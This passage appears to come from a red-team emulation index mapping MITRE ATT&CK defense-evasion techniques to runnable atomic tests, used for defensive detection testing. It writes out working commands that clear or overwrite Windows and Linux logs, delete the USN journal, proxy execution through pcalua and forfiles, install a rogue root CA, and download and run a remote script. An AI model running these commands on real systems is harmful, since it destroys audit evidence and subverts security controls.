EventLog.Clear + description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, + 2018. + url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx + - source_name: Microsoft Clear-EventLog + description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. + url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog + x_mitre_defense_bypassed: + - Log analysis + - Host intrusion prevention systems + - Anti-virus + identifier: T1070 + atomic_tests: + - name: Clear Logs + description: 'Upon execution this test will clear Windows Event Logs + + ' + supported_platforms: + - windows + input_arguments: + log_name: + description: Windows Log Name, ex System + type: String + default: System + executor: + name: command_prompt + elevation_required: true + command: 'wevtutil cl #{log_name} + + ' + - name: FSUtil + description: 'Manages the update sequence number (USN) change journal, which + provides a persistent log of all changes made to files on the volume. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'fsutil usn deletejournal /D C: + + ' + - name: rm -rf + description: 'Delete system and audit logs + + ' + supported_platforms: + - macos + - linux + executor: + name: sh + command: | + rm -rf /private/var/log/system.log* + rm -rf /private/var/audit/* + - name: Overwrite Linux Mail Spool + description: 'This test overwrites the Linux mail spool of a specified user. + This technique was used by threat actor Rocke during the exploitation of Linux + web servers. + + ' + supported_platforms: + - linux + input_arguments: + username: + description: Username of mail spool + type: String + default: root + executor: + name: bash + command: 'echo 0> /var/spool/mail/#{username} + + ' + - name: Overwrite Linux Log + description: 'This test overwrites the specified log. This technique was used + by threat actor Rocke during the exploitation of Linux web servers. + + ' + supported_platforms: + - linux + input_arguments: + log_path: + description: Path of specified log + type: Path + default: "/var/log/secure" + executor: + name: bash + command: 'echo 0> #{log_path} + + ' + - name: Delete System Logs Using PowerShell + description: 'Recommended Detection: Monitor for use of the windows event log + filepath in PowerShell couple with delete arguments + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: | + $eventLogId = Get-WmiObject -Class Win32_Service -Filter "Name LIKE 'EventLog'" | Select-Object -ExpandProperty ProcessId + Stop-Process -Id $eventLogId -Force + Remove-Item C:\Windows\System32\winevt\Logs\Security.evtx + cleanup_command: 'Start-Service -Name EventLog + + ' + - name: Delete System Logs Using Clear-EventLogId + description: 'Clear event logs using built-in PowerShell commands + + ' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: true + command: 'Clear-EventLog -logname Application + + ' + T1202: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + x_mitre_permissions_required: + - User + name: Indirect Command Execution + description: |- + Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) + + Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. + id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e + modified: '2019-04-24T18:28:19.845Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms, + such as Sysmon, for events such as process creations that include or are resulting + from parameters associated with invoking programs/commands/files and/or spawning + child processes/network connections. (Citation: RSA Forfiles Aug 2017)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Matthew Demaske, Adaptforward + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1202 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1202 + - source_name: VectorSec ForFiles Aug 2017 + description: vector_sec. (2017, August 11). Defenders watching launches of + cmd? What about forfiles?. Retrieved January 22, 2018. + url: https://twitter.com/vector_sec/status/896049052642533376 + - source_name: Evi1cg Forfiles Nov 2017 + description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved + January 22, 2018. + url: https://twitter.com/Evi1cg/status/935027922397573120 + - source_name: RSA Forfiles Aug 2017 + description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe + (if you are watching for cmd.exe). Retrieved January 22, 2018. + url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe + x_mitre_defense_bypassed: + - Static File Analysis + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path + identifier: T1202 + atomic_tests: + - name: Indirect Command Execution - pcalua.exe + description: | + The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface. + [Reference](https://twitter.com/KyleHanslovan/status/912659279806640128) + Upon execution, calc.exe should open + supported_platforms: + - windows + input_arguments: + process: + description: Process to execute + type: string + default: calc.exe + payload_path: + description: Path to payload + type: path + default: C:\Windows\System32\calc.exe + executor: + name: command_prompt + elevation_required: false + command: | + pcalua.exe -a #{process} + pcalua.exe -a #{payload_path} + - name: Indirect Command Execution - forfiles.exe + description: | + forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface. + [Reference](https://github.com/api0cradle/LOLBAS/blob/master/OSBinaries/Forfiles.md) + "This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe" + Upon execution calc.exe will be opened + supported_platforms: + - windows + input_arguments: + process: + description: Process to execute + type: string + default: calc.exe + executor: + name: command_prompt + elevation_required: false + command: | + forfiles /p c:\windows\system32 /m notepad.exe /c #{process} + forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe" + T1130: + technique: + x_mitre_data_sources: + - SSL/TLS inspection + - Digital certificate logs + x_mitre_permissions_required: + - Administrator + - User + name: Install Root Certificate + description: |- + Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. + + Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) + + Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) + + Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) + + In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) + id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1 + modified: '2019-07-19T14:44:30.545Z' + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) + + Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) + + * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 + * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 + * 3B1EFD3A66EA28B16697394703A72CA340A05BD5 + * 7F88CD7223F3C813818C994614A89C99FA3B5247 + * 8F43288AD272F3103B6FB1428485EA3014C0BCFE + * A43489159A520F0D93D032CCAF37E7FE20A8B419 + * BE36A4562FB2EE05DBB3D32323ADF445084ED656 + * CDD4EEAE6000AC7F40C3802C171E30148030C072 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Itzik Kotler, SafeBreach + - Travis Smith, Tripwire + - Red Canary + - Matt Graeber, @mattifestation, SpecterOps + created: '2017-05-31T21:31:42.750Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1130 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1130 + - source_name: capec + external_id: CAPEC-479 + url: https://capec.mitre.org/data/definitions/479.html + - source_name: Wikipedia Root Certificate + description: Wikipedia. (2016, December 6). Root certificate. Retrieved February + 20, 2017. + url: https://en.wikipedia.org/wiki/Root_certificate + - source_name: Operation Emmental + description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding + Holes Operation Emmental. Retrieved February 9, 2016. + url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + - source_name: Kaspersky Superfish + description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on + Lenovo Laptops. Retrieved February 20, 2017.' + url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ + - source_name: SpectorOps Code Signing Dec 2017 + description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning + Attacks and Defenses. Retrieved April 3, 2018. + url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec + - source_name: objective-see ay mami 2018 + description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March + 19, 2018. + url: https://objective-see.com/blog/blog_0x26.html + - source_name: Microsoft Sigcheck May 2017 + description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April + 3, 2018. + url: https://docs.microsoft.com/sysinternals/downloads/sigcheck + - source_name: Tripwire AppUNBlocker + description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. + Retrieved December 19, 2017.' + url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ + x_mitre_defense_bypassed: + - Digital Certificate Validation + identifier: T1130 + atomic_tests: + - name: Install root CA on CentOS/RHEL + description: 'Creates a root CA with openssl + + ' + supported_platforms: + - linux + input_arguments: + key_filename: + description: Key we create that is used to create the CA certificate + type: Path + default: rootCA.key + cert_filename: + description: Path of the CA certificate we create + type: Path + default: rootCA.crt + executor: + name: sh + command: | + openssl genrsa -out #{key_filename} 4096 + openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -out #{cert_filename} + + if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -le "5" ]; + then + cat rootCA.crt >> /etc/pki/tls/certs/ca-bundle.crt + else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -ge "7" ]; + cp rootCA.crt /etc/pki/ca-trust/source/anchors/ + update-ca-trust + fi + T1118: + technique: + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: InstallUtil + description: |- + InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. + + Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) + x_mitre_remote_support: false + id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b + modified: '2019-07-31T18:11:14.192Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior + history of known good arguments and executed binaries to determine anomalous + and potentially adversarial activity. Command arguments used before and after + the InstallUtil.exe invocation may also be useful in determining the origin + and purpose of the binary being executed. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Casey Smith + - Travis Smith, Tripwire + created: '2017-05-31T21:31:27.510Z' + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1118 + url: https://attack.mitre.org/techniques/T1118 + - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved + July 1, 2016. + source_name: MSDN InstallUtil + url: https://msdn.microsoft.com/en-us/library/50614e95.aspx + - description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019. + source_name: LOLBAS Installutil + url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/ + x_mitre_defense_bypassed: + - Process whitelisting + - Digital Certificate Validation + identifier: T1118 + atomic_tests: + - name: CheckIfInstallable method call + description: 'Executes the CheckIfInstallable class constructor runner instead + of executing InstallUtil. + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: CheckIfInstallable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $ExpectedOutput = 'Constructor_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallHelper method call + description: 'Executes the InstallHelper class constructor runner instead of + executing InstallUtil. + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: InstallHelper + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallHelper method execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil class constructor method call + description: 'Executes the installer assembly class constructor. + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: Executable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil Install method call + description: 'Executes the Install Method + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: Executable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_Install_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil Uninstall method call - /U variant + description: 'Executes the Uninstall Method + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: Executable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_Uninstall_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' + variant + description: 'Executes the Uninstall Method + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: Executable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_Uninstall_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil HelpText method call + description: 'Executes the Uninstall Method + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + assembly_dir: + description: directory to drop the compiled installer assembly + type: Path + default: "$Env:TEMP\\" + assembly_filename: + description: filename of the compiled installer assembly + type: String + default: T1118.dll + invocation_method: + description: the type of InstallUtil invocation variant - Executable, InstallHelper, + or CheckIfInstallable + type: String + default: Executable + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + prereq_command: if (Test-Path "#{test_harness}") {exit 0} else {exit 1} + get_prereq_command: |- + New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null + Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1118/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}" + executor: + name: powershell + elevation_required: false + command: | + # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly + . #{test_harness} + + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + $CommandLine = "/? `"$InstallerAssemblyFullPath`"" + $ExpectedOutput = 'Constructor_HelpText_' + + $TestArgs = @{ + OutputAssemblyDirectory = $InstallerAssemblyDir + OutputAssemblyFileName = $InstallerAssemblyFileName + InvocationMethod = '#{invocation_method}' + CommandLine = $CommandLine + } + + $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs + + if ($ActualOutput -ne $ExpectedOutput) { + throw @" + InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output. + Expected: $ExpectedOutput + Actual: $ActualOutput + "@ + } + cleanup_command: | + $InstallerAssemblyDir = "#{assembly_dir}" + $InstallerAssemblyFileName = "#{assembly_filename}" + $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName + + Remove-Item -Path $InstallerAssemblyFullPath + - name: InstallUtil evasive invocation + description: 'Executes an InstallUtil assembly by renaming InstallUtil.exe and + using a nonstandard extension for the assembly. + + ' + supported_platforms: + - windows + input_arguments: + test_harness: + description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly + type: Path + default: PathToAtomicsFolder\T1118\src\InstallUtilTestHarness.ps1 + dependencies: + - description: InstallUtil test harness script must be installed at specified + location (#{test_harness}) + 